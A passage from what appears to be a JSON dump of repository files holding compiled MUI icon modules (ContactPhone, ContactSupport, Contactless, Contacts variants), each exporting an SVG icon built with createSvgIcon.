3.58V18h12v-1.41C15 14.08 11.03 13 9 13m-3.52 3c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}, \"1\")], 'ContactPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5H2v14h20zM9 6c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H3v-1.41C3 14.08 6.97 13 9 13s6 1.08 6 3.58zm2.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2M2 5h20v14H2zm17.49 5L21 8l-1.99-1.99c-1.31.98-2.28 2.37-2.73 3.99-.18.64-.28 1.31-.28 2s.1 1.36.28 2c.45 1.61 1.42 3.01 2.73 3.99L21 16l-1.51-2h-1.64c-.22-.63-.35-1.3-.35-2s.13-1.37.35-2zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-2.03 0-6 1.08-6 3.58V18h12v-1.41C15 14.08 11.03 13 9 13m-3.52 3c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}, \"1\")], 'ContactPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupport.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupport');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupport.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupport');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 23.59v-3.6c-5.01-.26-9-4.42-9-9.49C2 5.26 6.26 1 11.5 1S21 5.26 21 10.5c0 4.95-3.44 9.93-8.57 12.4zM11.5 3C7.36 3 4 6.36 4 10.5S7.36 18 11.5 18H13v2.3c3.64-2.3 6-6.08 6-9.8C19 6.36 15.64 3 11.5 3m-1 11.5h2v2h-2zm2-1.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 23.59v-3.6c-5.01-.26-9-4.42-9-9.49C2 5.26 6.26 1 11.5 1S21 5.26 21 10.5c0 4.95-3.44 9.93-8.57 12.4zM11.5 3C7.36 3 4 6.36 4 10.5S7.36 18 11.5 18H13v2.3c3.64-2.3 6-6.08 6-9.8C19 6.36 15.64 3 11.5 3m-1 11.5h2v2h-2zm2-1.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm.4-4.78c-.01.01-.02.03-.03.05-.05.08-.1.16-.14.24-.02.03-.03.07-.04.11-.03.07-.06.14-.08.21-.07.21-.1.43-.1.68H10.5c0-.51.08-.94.2-1.3 0-.01 0-.02.01-.03.01-.04.04-.06.05-.1.06-.16.13-.3.22-.44.03-.05.07-.1.1-.15.03-.04.05-.09.08-.12l.01.01c.84-1.1 2.21-1.44 2.32-2.68.09-.98-.61-1.93-1.57-2.13-1.04-.22-1.98.39-2.3 1.28-.14.36-.47.65-.88.65h-.2c-.6 0-1.04-.59-.87-1.17.55-1.82 2.37-3.09 4.43-2.79 1.69.25 3.04 1.64 3.33 3.33.44 2.44-1.63 3.03-2.53 4.35\"\n}), 'ContactSupportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm.4-4.78c-.01.01-.02.03-.03.05-.05.08-.1.16-.14.24-.02.03-.03.07-.04.11-.03.07-.06.14-.08.21-.07.21-.1.43-.1.68H10.5c0-.51.08-.94.2-1.3 0-.01 0-.02.01-.03.01-.04.04-.06.05-.1.06-.16.13-.3.22-.44.03-.05.07-.1.1-.15.03-.04.05-.09.08-.12l.01.01c.84-1.1 2.21-1.44 2.32-2.68.09-.98-.61-1.93-1.57-2.13-1.04-.22-1.98.39-2.3 1.28-.14.36-.47.65-.88.65h-.2c-.6 0-1.04-.59-.87-1.17.55-1.82 2.37-3.09 4.43-2.79 1.69.25 3.04 1.64 3.33 3.33.44 2.44-1.63 3.03-2.53 4.35\"\n}), 'ContactSupportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2m1 14.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\"\n}), 'ContactSupportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 3C7.36 3 4 6.36 4 10.5S7.36 18 11.5 18H13v2.3c3.64-2.3 6-6.08 6-9.8C19 6.36 15.64 3 11.5 3m1 13.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 1C6.26 1 2 5.26 2 10.5c0 5.07 3.99 9.23 9 9.49v3.6l1.43-.69C17.56 20.43 21 15.45 21 10.5 21 5.26 16.74 1 11.5 1M13 20.3V18h-1.5C7.36 18 4 14.64 4 10.5S7.36 3 11.5 3 19 6.36 19 10.5c0 3.73-2.36 7.51-6 9.8m-2.5-5.8h2v2h-2zm1-10.5c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4\"\n}, \"1\")], 'ContactSupportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactSupportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 3C7.36 3 4 6.36 4 10.5S7.36 18 11.5 18H13v2.3c3.64-2.3 6-6.08 6-9.8C19 6.36 15.64 3 11.5 3m1 13.5h-2v-2h2zm0-3.5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 1C6.26 1 2 5.26 2 10.5c0 5.07 3.99 9.23 9 9.49v3.6l1.43-.69C17.56 20.43 21 15.45 21 10.5 21 5.26 16.74 1 11.5 1M13 20.3V18h-1.5C7.36 18 4 14.64 4 10.5S7.36 3 11.5 3 19 6.36 19 10.5c0 3.73-2.36 7.51-6 9.8m-2.5-5.8h2v2h-2zm1-10.5c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4\"\n}, \"1\")], 'ContactSupportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contactless.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\"\n}), 'Contactless');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contactless.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\"\n}), 'Contactless');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.1 10.18c.26.56.39 1.16.4 1.8.01.63-.13 1.25-.4 1.86l1.37.62c.37-.81.55-1.65.54-2.5-.01-.84-.19-1.65-.54-2.4zm6.23-2.85c.78 1.57 1.18 3.14 1.18 4.64 0 1.51-.4 3.09-1.18 4.69l1.35.66c.88-1.81 1.33-3.61 1.33-5.35s-.45-3.53-1.33-5.31zM10.2 8.72c.53 1.07.8 2.21.8 3.4 0 1.17-.26 2.23-.78 3.15l1.3.74c.65-1.15.98-2.45.98-3.89 0-1.42-.32-2.79-.96-4.07z\"\n}, \"1\")], 'ContactlessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.1 10.18c.26.56.39 1.16.4 1.8.01.63-.13 1.25-.4 1.86l1.37.62c.37-.81.55-1.65.54-2.5-.01-.84-.19-1.65-.54-2.4zm6.23-2.85c.78 1.57 1.18 3.14 1.18 4.64 0 1.51-.4 3.09-1.18 4.69l1.35.66c.88-1.81 1.33-3.61 1.33-5.35s-.45-3.53-1.33-5.31zM10.2 8.72c.53 1.07.8 2.21.8 3.4 0 1.17-.26 2.23-.78 3.15l1.3.74c.65-1.15.98-2.45.98-3.89 0-1.42-.32-2.79-.96-4.07z\"\n}, \"1\")], 'ContactlessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.75 13.68c-.13.43-.62.63-1.02.45a.749.749 0 0 1-.4-.9c.12-.41.18-.83.17-1.24s-.06-.8-.17-1.18c-.1-.36.06-.75.4-.9.42-.19.91.04 1.04.49.15.51.22 1.03.23 1.57 0 .56-.08 1.14-.25 1.71m3.14 1.59c-.17.41-.67.57-1.06.35-.33-.19-.46-.59-.32-.94.33-.77.49-1.63.49-2.56 0-.96-.18-1.89-.53-2.78-.14-.36.02-.76.36-.94.39-.2.87-.02 1.03.39.42 1.06.63 2.18.63 3.33.02 1.13-.19 2.19-.6 3.15M15 16.6c-.17.4-.64.58-1.02.39-.35-.17-.52-.59-.37-.95.59-1.39.89-2.75.89-4.06s-.3-2.65-.88-4.01c-.16-.36.01-.78.36-.95.39-.2.85-.02 1.02.38.66 1.54 1 3.08 1 4.58s-.34 3.06-1 4.62\"\n}), 'ContactlessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.75 13.68c-.13.43-.62.63-1.02.45a.749.749 0 0 1-.4-.9c.12-.41.18-.83.17-1.24s-.06-.8-.17-1.18c-.1-.36.06-.75.4-.9.42-.19.91.04 1.04.49.15.51.22 1.03.23 1.57 0 .56-.08 1.14-.25 1.71m3.14 1.59c-.17.41-.67.57-1.06.35-.33-.19-.46-.59-.32-.94.33-.77.49-1.63.49-2.56 0-.96-.18-1.89-.53-2.78-.14-.36.02-.76.36-.94.39-.2.87-.02 1.03.39.42 1.06.63 2.18.63 3.33.02 1.13-.19 2.19-.6 3.15M15 16.6c-.17.4-.64.58-1.02.39-.35-.17-.52-.59-.37-.95.59-1.39.89-2.75.89-4.06s-.3-2.65-.88-4.01c-.16-.36.01-.78.36-.95.39-.2.85-.02 1.02.38.66 1.54 1 3.08 1 4.58s-.34 3.06-1 4.62\"\n}), 'ContactlessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\"\n}), 'ContactlessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\"\n}), 'ContactlessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.1 10.18c.26.56.39 1.16.4 1.8.01.63-.13 1.25-.4 1.86l1.37.62c.37-.81.55-1.65.54-2.5-.01-.84-.19-1.65-.54-2.4zm6.23-2.85c.78 1.57 1.18 3.14 1.18 4.64 0 1.51-.4 3.09-1.18 4.69l1.35.66c.88-1.81 1.33-3.61 1.33-5.35s-.45-3.53-1.33-5.31zM10.2 8.72c.53 1.07.8 2.21.8 3.4 0 1.17-.26 2.23-.78 3.15l1.3.74c.65-1.15.98-2.45.98-3.89 0-1.42-.32-2.79-.96-4.07z\"\n}, \"2\")], 'ContactlessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactlessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8M8.46 14.45l-1.36-.62c.28-.61.41-1.24.4-1.86-.01-.63-.14-1.24-.4-1.8l1.36-.63c.35.75.53 1.56.54 2.4.01.86-.17 1.7-.54 2.51m3.07 1.56-1.3-.74c.52-.92.78-1.98.78-3.15 0-1.19-.27-2.33-.8-3.4l1.34-.67c.64 1.28.96 2.65.96 4.07 0 1.43-.33 2.74-.98 3.89m3.14 1.32-1.35-.66c.78-1.6 1.18-3.18 1.18-4.69s-.4-3.07-1.18-4.64l1.34-.67c.9 1.78 1.34 3.56 1.34 5.31 0 1.74-.44 3.54-1.33 5.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.1 10.18c.26.56.39 1.16.4 1.8.01.63-.13 1.25-.4 1.86l1.37.62c.37-.81.55-1.65.54-2.5-.01-.84-.19-1.65-.54-2.4zm6.23-2.85c.78 1.57 1.18 3.14 1.18 4.64 0 1.51-.4 3.09-1.18 4.69l1.35.66c.88-1.81 1.33-3.61 1.33-5.35s-.45-3.53-1.33-5.31zM10.2 8.72c.53 1.07.8 2.21.8 3.4 0 1.17-.26 2.23-.78 3.15l1.3.74c.65-1.15.98-2.45.98-3.89 0-1.42-.32-2.79-.96-4.07z\"\n}, \"2\")], 'ContactlessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contacts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 0H4v2h16zM4 24h16v-2H4zM20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 2.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'Contacts');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contacts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 0H4v2h16zM4 24h16v-2H4zM20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 2.75c1.24 0 2.25 1.01 2.25 2.25s-1.01 2.25-2.25 2.25S9.75 10.24 9.75 9 10.76 6.75 12 6.75M17 17H7v-1.5c0-1.67 3.33-2.5 5-2.5s5 .83 5 2.5z\"\n}), 'Contacts');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactsOutlined.js",
